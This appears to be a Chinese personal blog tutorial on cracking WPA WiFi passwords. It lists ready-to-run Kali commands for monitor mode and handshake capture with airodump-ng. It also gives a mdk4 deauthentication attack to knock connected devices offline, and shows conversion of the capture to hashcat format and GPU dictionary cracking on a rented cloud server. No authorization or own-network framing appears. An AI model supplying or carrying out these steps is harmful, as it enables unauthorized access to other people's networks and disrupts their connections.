无线网卡选择

无线网卡需要支持监听模式并支持linux,推荐两个。
1、RT5370
2、AX210

常用wifi破解方式

1、获取wifi握手包,然后跑密码字典暴力破解
2、针对有WPS功能的路由器,跑PIN码暴力破解
本人选择第一种方式

步骤

安装系统

安装Kali系统,清华大学开源软件镜像站下载地址如下
https://mirrors.tuna.tsinghua.edu.cn/kali-images/current/

具体步骤

查看网卡

ifconfig

开启监听模式

airmon-ng start <网卡名称>

捕获数据

此命令将会输出两个列表,上边那个列表是各个wifi信息,下边那个列表是各个设备连接wifi的信息。
按ctrl+c中止执行

airodump-ng <网卡名称+mon>

PWR:路由器的信号情况 数值越大信号越强 (-54 > -60) -1通常是获取不到信号强弱信息
Data:捕获的数据包数量,数值越大说明路由器上连接的无线设备越活跃
CH:WiFi频道
ESSID:路由器wifi名字 当名字显示<length: *>的时候,说明路由器隐藏了SSID
STATION:客户端的MAC地址
BSSID:路由器的MAC地址
Probe:设备曾经连过的WiFi名字

监听握手

airodump-ng --bssid <BSSID> -c <CH> -w <文件前缀,包含路径> <网卡名称+mon>

解除验证攻击

只有wifi连接的时候我们才能获取到握手包,因此,为了加快获取握手包,我们可以人为攻击使连接路由的设备掉线。
新开一个终端执行以下命令

mdk4 [网卡名称+mon] d -B <BSSID>

很多教程使用mdk3或者aireplay-ng进行解除验证攻击,实测不好使。

转换握手包格式

当用户掉线并重新连接上wifi,监听握手那里就能获取到握手包(右上角显示WPA handshake:***),系统里会出现个<文件前缀,包含路径>-01.cap的文件,ctrl+c中止执行,执行以下命令。

hcxpcapngtool -o <输出的文件名.hc22000> <输入的文件.cap>

在线转换地址
https://hashcat.net/cap2hashcat/

开一台服务器

我这里使用阿里云开了一台抢占式实例(按小时计费并竞价,需要账户余额大于100元),架构选择GPU云服务器,系统我选择Ubuntu

安装GPU驱动

# 更新源
sudo apt update

# 安装 `ubuntu-drivers`
sudo apt install ubuntu-drivers-common

# 查看设备
ubuntu-drivers devices

# Outputs:
# ......
# driver   : nvidia-driver-515-server - distro non-free
# driver   : nvidia-driver-515 - distro non-free recommended
# ......

# 找到包含 recommended 的那行, 就是目前最新版的驱动
# 安装驱动, 我们选择安装 server 版
sudo apt install -y nvidia-driver-515-server

# 重启
sudo reboot

安装hashcat

apt-get install -y hashcat

下载密码字典

密码字典下载链接(9.8G)
https://pan.baidu.com/s/1RTIBG9ur_kAjpXCf_27yFQ?pwd=vhmw

跑字典

hashcat -w 3 -m 22000 <xxx.hc22000> <字典>

最终结果

半小时跑完了,然后没有得到密码,它这个的确很靠运气。